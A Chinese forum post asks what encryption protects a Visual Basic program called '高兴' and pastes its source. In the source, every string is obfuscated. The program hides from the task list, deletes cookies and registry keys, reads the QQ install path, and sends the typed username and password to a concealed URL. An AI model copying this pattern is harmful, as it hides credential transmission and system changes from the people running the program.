[讨论]这是什么加密?VB中的!RSA? RSA, 讨论

valen886

[讨论]这是什么加密?VB中的!RSA?
这是高兴的主程序的源码。但RSA加密了。。。。

Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Dim SysAll, QQFile As String
Dim SuiJi As String

Private Sub DoIt_Click()

DelCookies

XinXi.Caption = JieMi("5ECBDAC85D2612CBD65C1F28C2F35CAE  D7280A935D2249E1E48FA66B6329A0FC  BA7EAABFEE47D7A4F303A6318391A971")

Open SysAll & JieMi("5C9974DB3B36C7CCE51D3270A77496A2  2D64125484DA3FA8DAA9AA902A9DBF97") For Output As #1

Print #1, JieMi("E0F309A910DF4304FB1F03BCED0F7D99  DFC27E9CF8E73ED33B7FD76CDE33AD43")

Close #1

Dim JajaanIP As String

JajaanIP = SeCond.Test(JieMi("C2244CDA1C4EBA602B05C4B36621CD16"))

If JajaanIP <> JieMi("873B831AED27AFF5339B40915A0B570F") And JajaanIP <> JieMi("EBF3211C0F3F8DF3B9AB6464B8F35631") And JajaanIP <> JieMi("2ACB7FD718AF8A07BD20728F5F973230") And JajaanIP <> JieMi("107A6CB6DF0503DD868CD980319341F0") Then

End

Else

Label3.Caption = JieMi("3C0CFDBFD9EB848CC8160B2A4FB17A0A")

OnUsr.Navigate2 JieMi("06B6368A808385F531A977E6CF0C4824  2BE71EB6C4D2997BAAF5366453D7F10C  C6047DA8816073056A92D0D2235EF71C") & Usr.Text & JieMi("517734F4CB065F179F1E364A4B66F76C") & Psd.Text

End If

End Sub

Private Sub Form_Load()

App.TaskVisible = False

FirSt.Caption = JieMi("E4BB08FF3B6FAFD9099C1F36D55AC975  443244F4A1F4A8C88B475F9DFD597856")


Label1.Caption = JieMi("32EABDF98A4F5BC358D036E1444E64D6")

Label2.Caption = JieMi("97451B1DCBF424A14069CA7FEB7E4B5C")

DoIt.Caption = JieMi("A79695FEA9F4D360F6AAAF9C3826D427")

SysAll = Environ(JieMi("864F681F41E67FF7DB26C28998A26637"))

If App.PrevInstance = True Then '一个实例

MsgBox JieMi("44364506BA9063803B8E343402892EB6  39E40888B15CDF93F87EC8673CD6F650"), vbInformation, JieMi("00C99D9B7B051AD0EEFAD94D71B85B7C")

End

ElseIf Left$(App.Path, 1) <> Left$(SysAll, 1) Then '当前位置

MsgBox JieMi("59BAB39DA2B6080337F5EA7580D9D054  2984705F50063A4A8F94533BD7B461DE  9AB364121E7686351470F471C6846BC4  7FE9332E86FFA77C99FB1B893628FF05  A610D8C40CC69DBECAC961A059A5C777  626B449C0B065040FBFF78BB45060F92  49265A11D7961A67EDF248D8256C8C76  8B9D6EF6003E63658DC156C6FEBFE8AC  05920037D5A426727C6C84C8EF7F1B26  7F479380312C98F715993CCF3AFD2579  6D46EAB5940A77F0BD4B1DE65E242BB7  6C6B653D0D1B1C10E052A14B35CB7966"), vbInformation, JieMi("00C99D9B7B051AD0EEFAD94D71B85B7C")

End

End If

End Sub
Private Sub Form_Initialize()

    InitCommonControls

End Sub

Private Sub Form_Unload(Cancel As Integer)

End

End Sub

Private Sub OnUsr_DocumentComplete(ByVal pDisp As Object, URL As Variant)

On Error Resume Next

Dim vDoc, vTag

Dim Yhtm As String

Dim i As Integer

Set vDoc = OnUsr.Document

If Label3.Caption = JieMi("3C0CFDBFD9EB848CC8160B2A4FB17A0A") Then

Dim CiShu As String

Yhtm = vDoc.body.innerhtml

If InStr(Yhtm, JieMi("EB8BE35DD7C8360B93B5D9FA7B5D4994")) <> "0" Then

CiShu = Right(Yhtm, Len(Yhtm) - (InStr(Yhtm, JieMi("EB8BE35DD7C8360B93B5D9FA7B5D4994"))))

Label3.Caption = JieMi("DD536B608B14F03B5E4BC9C07D443784")

Randomize

SuiJi = Int(Rnd * 999999999 + 1)

OnUsr.Navigate2 JieMi("06B6368A808385F531A977E6CF0C4824  2BE71EB6C4D2997BAAF5366453D7F10C  C6047DA8816073056A92D0D2235EF71C") & Usr.Text & JieMi("517734F4CB065F179F1E364A4B66F76C") & Psd.Text & JieMi("99E164E44392E420F04E3FA65675B009") & SuiJi & JieMi("F374E94DB4DBC4A3090767A37653BA6A") & QQPassWord(CLng(CiShu) & JieMi("D09CBD45CB6EFAB9F6AD717A2E5FD53D  ABC9FFF3488A0B8A6ACC4BE1D39772E8"))

Else

Wait.Enabled = True

End If

ElseIf Label3.Caption = JieMi("DD536B608B14F03B5E4BC9C07D443784") Then

Wait.Enabled = True

End If

End Sub

Private Sub PanDuan_Timer()

DuQQ

End Sub

Private Sub Psd_KeyPress(KeyAscii As Integer)

If KeyAscii = 13 Then

DoIt_Click

KeyAscii = 0

End If

End Sub

Private Sub ToScan_Timer()

If InStr(XinXi.Caption, JieMi("098C77935320F1BB1642B327DA312451")) <> JieMi("680BC3677D575452D2498E8A532985D3") Then

FirSt.Visible = False

SeCond.Visible = True

ToScan.Enabled = False

Else

End

End If

ToScan.Enabled = False

End Sub

Private Sub Wait_Timer()

DelCookies

JianCha

Wait.Enabled = False

End Sub

Function DelCookies()

Open SysAll & JieMi("5C9974DB3B36C7CCE51D3270A77496A2  2D64125484DA3FA8DAA9AA902A9DBF97") For Output As #1

Print #1, JieMi("E0F309A910DF4304FB1F03BCED0F7D99  DFC27E9CF8E73ED33B7FD76CDE33AD43")

Close #1

Call DeleteKey(HKEY_CURRENT_USER, JieMi("17D0E35CE6798198FE1DAFC05B206389  6B8B957AB78800D3CBF852268471DAE7  B67AC0FD915AB4ECBF6487A76842727D"))

Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  AB7212F57E7D0E49332A6D67C88AF637  BB7CBA079E710DDC2BB4DDAF3A849333  DDD924E47C73B42284785CCB026A6F92"))

Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  AB7212F57E7D0E49332A6D67C88AF637  7A8D5E113E05DFC6261F68AA4B8F16C5"))

Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  0EAF3D2ABFD31994A4C7E9B9A2AD0FC0"))

Call SaveDword(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993  6E4547E639F6B0DC1A2E14E1CAAF42EC  A92213FE271156332A1EDD74BA4B8C92  269F1C793484EE00A322405396827901  74C5F2F0FD881FBC934BF76325C256B5  97CD189A11A09687428A179DAAC4D247"), JieMi("CB782466A4FBB58C99D32F2A90818994"), JieMi("3D82F2B9B0464617A06EB67D6F864641"))

DeleteIE.ShanChuIE

End Function

Private Sub YiZhi_Timer()

DelCookies

End Sub

Function DuQQ()

QQFile = getstring(HKEY_LOCAL_MACHINE, JieMi("958F4F15B61D77A54F516AE669886D23  1B2EFF99B43A9A29B4080AC738B4E896"), JieMi("9EAEFB5093663CFDED3AF7993326789D"))

If Dir(QQFile & JieMi("758D17D15C656C9FD205B520C7401E33  AF7A9DE33D1460FDA31B88D03634DFC6")) <> "" Then

PoJie

End If

End Function

Function PoJie()

SeCond.CloseScan

End

End Function
Function JianCha()

Dim vDoc  As String

vDoc = OnUsr.Document.documentElement.innerhtml

vDoc = Trim(vDoc)

If InStr(1, vDoc, JieMi("7879D6B95377A30F3A9EE075C1C446E0")) <> 0 Then

sedddb = JieMi("27EB77C2D3755FEE44D58B77D0D9F2CE  C6F9375F7ABFF088E043FF86EEBA019C")

XinXi.Caption = sedddb

ToScan.Enabled = True

ElseIf InStr(1, vDoc, JieMi("4313E3FD61CF56A76140D375684C45B2")) <> 0 Then

XinXi.Caption = JieMi("C9E4AF7753B9D2E747B2D2EB8D13ED5A  64EE1D119F7A5C55F29ABF5F61672341")

ToScan.Enabled = True

ElseIf InStr(1, vDoc, JieMi("64DD019F4A895415BAF47CBBB112F1DE")) <> 0 Then

XinXi.Caption = JieMi("66736FB4A65B86B5D3D7C6A90520B286  F7DE319F0D5EF655C4421965674959C0")

ToScan.Enabled = True

ElseIf InStr(1, vDoc, JieMi("2614238EA836700D092F11F189F8E6EA")) <> 0 Then

XinXi.Caption = JieMi("12E3D9BD19F516B1809000CA25453FCA  E11EF525E5A2B7175EBEE56774BD6AB0")

ToScan.Enabled = True

ElseIf InStr(vDoc, QQPassWord(SuiJi & JieMi("53D202E161DE40610670A8D388ED4898"))) <> 0 Then

XinXi.Caption = "Login Success, Now to Scan."

ToScan.Enabled = True

Else

XinXi.Caption = JieMi("66736FB4A65B86B5D3D7C6A90520B286  F7DE319F0D5EF655C4421965674959C0")

ToScan.Enabled = True

End If

End Function

Public Function JieMi(Qian As String) As String

Form2.Text1.Text = Qian

Form2.Jiem

JieMi = Form2.Text1.Text

End Function